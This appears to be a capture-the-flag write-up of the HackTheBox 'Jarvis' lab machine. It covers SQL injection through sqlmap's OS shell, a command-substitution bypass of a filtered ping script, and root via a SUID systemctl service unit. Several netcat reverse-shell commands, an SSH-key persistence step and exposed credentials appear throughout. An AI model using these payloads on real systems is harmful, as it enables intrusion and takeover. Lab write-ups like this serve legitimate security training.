HackTheBox - Jarvis

— Written by — 10 min read
jarvis-hackthebox

Jarvis was a pretty straight forward box and “textbook case” style. While it’s rated as Medium difficulty I would advise beginners to start with this one.

It rely on bad configurations practices rather than already made exploits which makes it more interesting in my opinion.

First thing first, let’s add the box IP to the hosts file:

1
[hg8@archbook ~]$ echo "10.10.10.143 jarvis.htb" >> /etc/hosts

Let’s go !

User Flag

Recon

Let’s start with the classic nmap scan:

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ nmap -sV -sT -sC jarvis.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 19:16 CEST
Nmap scan report for jarvis.htb (10.10.10.143)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Seems like we have somethig super classic: A http (port 80) and SSH (port 22) service open.

Opening the http://jarvis.htb display the following website :

Jarvis website

Browsing the site shows available rooms, food and… that’s it. The only page that looks dynamic is the room description page:
Let’s keep that in mind.

Out of curiosity I ran gobuster to see if we can find interresting files and directories but nothing special was found :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[hg8@archbook ~]$ gobuster dir -u http://jarvis.htb -w ~/SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.hta (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/index.php (Status: 200)
/js (Status: 301)
/phpmyadmin (Status: 301)

Maybe the phpmyadmin instance will come useful in the future.

Oddly enough I could run gobuster without issue while during my first walkthrough I got banned when using any automated scanner and got the following message :

Hey you have been banned for 90 seconds, don’t be bad

SQL Injection

Since we have no other interesting entry point so far let’s focus on that room page.

Looking the url http://jarvis.htb/room.php?cod=1, we immediatly notice the cod=1 parameter. Let’s try some injection here, starting with the most common: SQL Injection.

Appending various characters to the cod parameters yield an empty room description :

Jarvis website cod parameter

After a few tries we discover that the classical AND 1=1 payload works.

Opening http://jarvis.htb/room.php?cod=1 and http://jarvis.htb/room.php?cod=1 AND 1=1 return the exact same result :

Jarvis website cod parameter injection

Let’s automate the process with our favorite SQL injection toolkit: SQLMap.

A very useful option (in our case) is --os-shell, with it SQLMap will if possible use the SQL injection to upload and open a reverse shell to the server.

Let’s let SQLMap do all the dirty work for us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sqlmap -u "http://jarvis.htb/room.php?cod=6" --os-shell
___
__H__
___ ___["]_____ ___ ___ {1.3.10#stable}
|_ -| . [.] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[...]
[10:56:40] [CRITICAL] page not found (404)
[10:56:40] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times

[*] ending @ 10:56:40 /2019-10-17/

No surprise, we get banned here with the same error message :

Hey you have been banned for 90 seconds, don’t be bad.

Let’s try different options. First adding a delay of 10 seconds between each request (with --delay=10) might not trigger the ban:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
[hg8@archbook ~]$ sqlmap -u "http://jarvis.htb/room.php?cod=6" --delay=10 --os-shell
___
__H__
___ ___[)]_____ ___ ___ {1.3.10#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[...]
[20:02:08] [INFO] heuristic (basic) test shows that GET parameter 'cod' might be injectable
[20:02:09] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="high")
[20:02:10] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
[...]
[20:02:35] [INFO] GET parameter 'cod' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[20:02:37] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=6 AND 2304=2304

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=6 AND (SELECT 4682 FROM (SELECT(SLEEP(5)))PeAe)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-3361 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71767a7071,0x4d496842456c564972414349534c7467674866537166477a644d4f456341536d6453775166635779,0x716b626a71),NULL,NULL,NULL-- VXEr
---
[20:02:40] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:02:40] [INFO] going to use a web backdoor for command prompt
[20:02:40] [INFO] fingerprinting the back-end DBMS operating system
[20:02:40] [INFO] the back-end DBMS operating system is Linux
[...]
[20:02:41] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[...]
[20:02:44] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[20:02:45] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpuhbex.php
[20:02:45] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpbmblq.php
[20:02:45] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

Jackpot!

Note: We could also have used --user-agent=<random-ua> to avoid using the default sqlmap user agent that can get easily detected by WAF.

We have a PHP shell running as www-data.
For ease of use, I open a netcat reverse shell and close the php shell opened by SQLMap:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
1
2
[hg8@archbook ~]$ # Back to the SQLMap/PHP reverse shell
os-shell> nc -e /bin/sh 10.10.10.10 8585

And surely we get the connection:

1
2
3
4
5
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.143:54336
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Note: As a reminder you can use the following magic trick to upgrade your shell to a fully interactive one :

1
2
3
4
5
6
7
8
9
10
11
12
13
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

[hg8@archbook ~]$ # In Attacker console
[hg8@archbook ~]$ stty raw -echo
[hg8@archbook ~]$ fg

$ # In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>

Pivot www-data -> pepper

Alright, so now we have shell on the www-data user. Let’s try to move to the user to find the first flag.

Looking around the webapp files we find the database credentials:

1
2
3
4
www-data@jarvis:/var/www/html$ cat connection.php
<?php
$connection=new mysqli('127.0.0.1','DBadmin','imissyou','hotel');
?>

We can try to connect using the phpmyadmin instance:

Jarvis phpmyadmin instance

But turn out there is nothing interesting there. Only a empty flag database, probably a joke by one of the users. Let’s move on.

To make the recon task easier, we are going to use the Linux enumeration tool. For the transfer of the script we will setup a simple http server on our attacking machine:

1
2
3
4
5
6
[hg8@archbook ~]$ wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh
[hg8@archbook ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

$ wget 10.10.10.10:8000/lse.sh -O /tmp/lse.sh
2019-10-17 08:00:49 (527 KB/s) - '/tmp/lse.sh' saved [31736/31736]

Let’s run the script to see if we can find anything intesrresting :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ bash /tmp/lse.sh

[...]
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. nope
[!] sud010 Can we list sudo commands without a password?................... yes!
---
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
---
============================================================( file system )=====
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/bin/systemctl
---
==================================( FINISHED )==================================

We notice two very distinctive configurations here. First of all, the script /var/www/Admin-Utilities/simpler.py can be run as user pepper without password through sudo. This simpler.py script will be our entry point to pivot to the pepper user.

Second, we notice that systemctl binary at the setuid bit set. As a reminder SETUID is special permission attributes in Unix and Unix-like systems, they allow unprivileged users to run programs with elevated privileges.

Here systemctl will always be run at root:

1
2
$ ls -l /bin/systemctl
-rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctl

Let’s keep that in mind for the privilege escalation later.

Alright, with all of that in mind, let’s investigate this simpler.py script to see how we can abuse it to pivot to the pepper user.

1
2
3
$ ls -l
total 8
-rwxr--r-- 1 pepper pepper 4587 Mar 4 2019 simpler.py

The file is owned by pepper user and we have no right to edit it. We will need to find a vulnerabiility in the script.

Upon opening it we can see it’s used to show statistics about attackers IP and to ping those IP.

The function to ping catch the attention because of the use of os.system.

1
2
3
4
5
6
7
8
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)

os.system('ping ' + command) clearly open a command injection vulnerability. However the script author seems to be aware of the issue and blacklisted a few common characters used in command injection.

So we can’t easily inject command. But then what about command substitution ?

According to the bash manual:

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ man bash
[...]
Command Substitution
Command substitution allows the output of a command to replace the command name. There are two forms:


$(command)
or
`command`

While the ` is blacklisted, neither $ or () is. Let’s try to subsitate then :

1
2
3
4
5
6
7
8
9
10
11
12
13
 ***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es

***********************************************

Enter an IP: $(id)
ping: groups=1000(pepper): Temporary failure in name resolution

Awseome, let’s use this to open a reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[hg8@archbook ~]$ nc -l -vv -p 8544
Listening on any address 8544

$ echo "nc -e /bin/sh 10.10.10.10 8544" > /tmp/hg8.sh
$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es

***********************************************

Enter an IP: $(bash /tmp/hg8.sh)

And surely enough we get our shell!

1
2
3
4
5
6
7
[hg8@archbook ~]$ nc -l -vv -p 8544
Listening on any address 8544
Connection from 10.10.10.143:57986
pepper@jarvis:~$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
pepper@jarvis:~$ cat user.txt
2afxxxxxxxxxxxxxxc44f

Root Flag

Recon

Note: To make it easier I added my ssh pub key to authorized_keys to connect to the pepper account by SSH:

1
echo "ssh-rsa XXXXX" >> ~/.ssh/authorized_keys

The recon phase will be quick here since we already a very valuable information in the user recon phase : /bin/systemctl have the SUID bit set :

1
2
$ ls -l /bin/systemctl
-rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctl

This mean that if we manage to make systemctl run a command for us, this one will be automatically run as root user.

Systemctl privilege escalation

For this kind of need, GTFOBins is an incredibly useful project:

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

And surely enough, there is informations and even an example for systemctl :

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

First we open our listener:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585

Now let’s run the GTFO example and replace the command with our reverse shell :

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ TF=$(mktemp).service
[hg8@archbook ~]$ echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "nc 10.10.10.10 8585 -e /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
[hg8@archbook ~]$ systemctl link $TF
[hg8@archbook ~]$ systemctl enable --now $TF

And since everything went fine, we get our shell:

1
2
3
4
5
6
7
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.143:35734

root@jarvis:/#
root@jarvis:/# cat /root/root.txt
d41dxxxxxxxxxxxxxxx71

Hope this was clear enough, as always do not hesitate to contact me for any questions or feedbacks.

See you next time !

-hg8



CTFHackTheBoxMedium Box
, , , , , , , , , , , ,